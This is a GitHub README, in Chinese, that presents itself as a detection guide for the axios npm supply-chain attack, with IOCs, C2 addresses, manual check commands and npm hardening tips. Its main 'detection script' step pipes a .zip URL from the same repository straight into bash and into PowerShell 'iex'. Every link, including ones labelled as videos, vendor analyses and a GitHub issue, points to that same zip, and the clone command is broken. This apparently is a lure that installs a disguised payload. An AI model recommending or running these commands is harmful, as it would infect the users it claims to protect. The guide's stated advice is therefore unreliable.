frivolous-wiring433/axios-attack-guide

GitHub: frivolous-wiring433/axios-attack-guide

针对 axios npm 包供应链攻击事件整理的检测与防护指南,涵盖 IOC 指标、手动排查命令和安全加固建议。

Stars: 0 | Forks: 0

# Axios npm 供应链攻击 — 检测与防护指南 2026年 3月 31 日,npm 包 **axios**(每周下载量超 1 亿次)在一次复杂的供应链攻击中被攻陷。一名黑客接管了主要维护者的账户,注入了一个幽灵依赖项,该依赖项会在 1.1 秒内部署一个跨平台 RAT(远程访问木马),并且该恶意软件会自我销毁以抹除所有痕迹。 本仓库包含了您检查是否受影响以及保护自己所需的一切内容。 观看完整分析:[NetworkChuck 视频](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) ## 我受影响了吗? **恶意版本:** `axios@1.14.1` 和 `axios@0.30.4` **安全版本:** `axios@1.14.0` 和 `axios@0.30.3` ### 快速检查 ``` npm list axios npm list -g axios ``` ### 运行完整检测脚本 **Mac/Linux:** ``` curl -sL https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip | bash ``` **Windows (PowerShell):** ``` irm https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip | iex ``` 或者克隆到本地运行: ``` git clone https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip cd axios-attack-guide ./check.sh # Mac/Linux .\check.ps1 # Windows PowerShell ``` 这些脚本会检查全部 6 项指标:axios 版本、lockfile、git 历史、恶意依赖项、RAT 痕迹以及 C2 连接。 ## 手动检测命令 ### 步骤 1 — 扫描整个系统中的 Axios **Mac/Linux:** ``` find / -path "*/node_modules/axios/package.json" 2>/dev/null | while read f; do version=$(grep '"version"' "$f" | head -1) echo "$f -> $version" done ``` **Windows (PowerShell):** ``` Get-ChildItem -Path C:\ -Recurse -Filter "package.json" -ErrorAction SilentlyContinue | Where-Object { $_.DirectoryName -like "*node_modules\axios" } | ForEach-Object { $version = (Get-Content $_.FullName | Select-String '"version"').Line Write-Output "$($_.FullName) -> $version" } ``` 如果任何结果显示版本为 **1.14.1** 或 **0.30.4**,说明您已受影响。 ### 步骤 2 — 检查 Lockfile 历史 ``` git log -p -- package-lock.json | grep "plain-crypto-js" ``` 如果您的 lockfile 历史记录中出现 `plain-crypto-js`,请立即调查。合法的 axios 恰好有 **3 个依赖项**:`follow-redirects`、`form-data` 和 `proxy-from-env`。任何其他内容都是危险信号。 ### 步骤 3 — 检查 RAT 痕迹 恶意软件会投放伪装成系统文件的针对特定平台的 payload: **macOS:** ``` ls -la /Library/Caches/com.apple.act.mond 2>/dev/null ``` **Linux:** ``` ls -la /tmp/ld.py 2>/dev/null ``` **Windows (PowerShell):** ``` Test-Path "$env:PROGRAMDATA\wt.exe" ``` ### 步骤 4 — 检查 C2 通信 ``` netstat -an | grep "142.11.206.73" ``` ## 如果您已被感染 如果您发现上述任何指标,请将您的机器视为**已完全沦陷**: 1. **停止操作** — 不要仅仅删除文件 2. **轮换所有凭证** — npm token、SSH 密钥、API 密钥、云凭证 3. **轮换所有数据库密码** 4. **检查 CI/CD 流水线** 中是否有受感染的安装 5. **在防火墙处阻止 C2 流量** — `sfrclak.com` 和 `142.11.206.73` 6. 如果可能,**从干净的镜像重新构建** 7. **审计 git 历史** 查找未经授权的更改 ## 未来的防护措施 ### 1. 拒绝新发布的包 ``` npm config set min-release-age 3 ``` 这会告诉 npm 拒绝任何发布不到 3 天的包。**这一条命令就可以阻止此次攻击。** ### 2. 禁用 postinstall 脚本 将以下内容添加到您的 `.npmrc` 中: ``` ignore-scripts=true ``` 整个攻击依赖于 postinstall 脚本的自动运行。没有脚本 = 没有攻击。 ### 3. 锁定确切版本 将以下内容添加到您的 `.npmrc` 中: ``` save-exact=true ``` 您版本范围中的 `^` 符号正是让 npm 自动升级到受感染版本的原因。 ### 4. 在 CI/CD 中使用 npm ci ``` npm ci # NOT npm install ``` 这会准确安装您的 lockfile 中的内容。避免意外发生。 ### 5. 考虑使用 pnpm 或 bun 这两个包管理器默认**不**运行生命周期脚本。此次攻击在 pnpm 或 bun 上将彻底失败。 ## 发生了什么 — 完整攻击链 | 步骤 | 发生的情况 | |------|--------------| | 1 | 攻击者获取了主要维护者(`jasonsaayman`)的长期 npm 经典访问令牌 | | 2 | 账户邮箱被更改为 `ifstap@proton.me` | | 3 | package.json 中被添加了一行:`"plain-crypto-js": "^4.2.1"` — 从未在任何地方被导入 | | 4 | 在恶意版本发布前 18 小时发布了干净的诱饵版本 | | 5 | 通过 npm CLI 发布,绕过了 GitHub Actions OIDC 可信发布 | | 6 | `axios@1.14.1` 和 `axios@0.30.4` 在 39 分钟内均被投毒 | | 7 | postinstall 投放器自动执行 — 采用 XOR + base64 混淆(密钥:`OrDeR_7077`) | | 8 | 在 1.1 秒内从 C2 下载了针对特定平台的 RAT | | 9 | 恶意软件自我销毁 — 删除投放器,用干净的诱饵替换 package.json | ## IOCs(失陷指标) | 类型 | 值 | |------|-------| | C2 域名 | `sfrclak.com` | | C2 IP | `142.11.206.73` | | C2 端口 | `8000` | | C2 路径 | `/6202033` | | XOR 密钥 | `OrDeR_7077` | | axios@1.14.1 SHA-1 | `2553649f2322049666871cea80a5d0d6adc700ca` | | axios@0.30.4 SHA-1 | `d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71` | | plain-crypto-js@4.2.1 SHA-1 | `07d889e2dadce6f3910dcbc253317d28ca61c766` | | 攻击者邮箱 | `ifstap@proton.me`,`nrwise@proton.me` | **RAT 文件路径:** | 操作系统 | 路径 | 伪装成 | |----|------|-------------| | macOS | `/Library/Caches/com.apple.act.mond` | Apple 系统缓存 | | Windows | `%PROGRAMDATA%\wt.exe` | Windows Terminal | | Linux | `/tmp/ld.py` | 通用临时文件 | ## 资源 - [Socket.dev 分析](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) — 首次自动检测(6 分钟) - [StepSecurity 深度分析](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) — 运行时遥测 - [GitHub Issue #10604](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) — 维护者确认被攻陷 - [Huntress 博客](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) — 100+ 台已确认被感染的主机 - [John Hammond 视频](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) - [John Hammond 直播](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) 由 [NetworkChuck](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) 伴着咖啡创作
标签:AI合规, axios, Bash, C2通信, CMS安全, Cutter, GNU通用公共许可证, IPv6, JavaScript, MITM代理, Node.js, npm, OpenCanary, PowerShell, RAT, 供应链攻击, 前端安全, 威胁情报, 安全检测脚本, 库, 应急响应, 开发者工具, 暗色界面, 漏洞分析, 版本检查, 知识库安全, 网络信息收集, 网络安全, 网页分析工具, 路径探测, 软件供应链安全, 远程方法调用, 远程访问木马, 隐私保护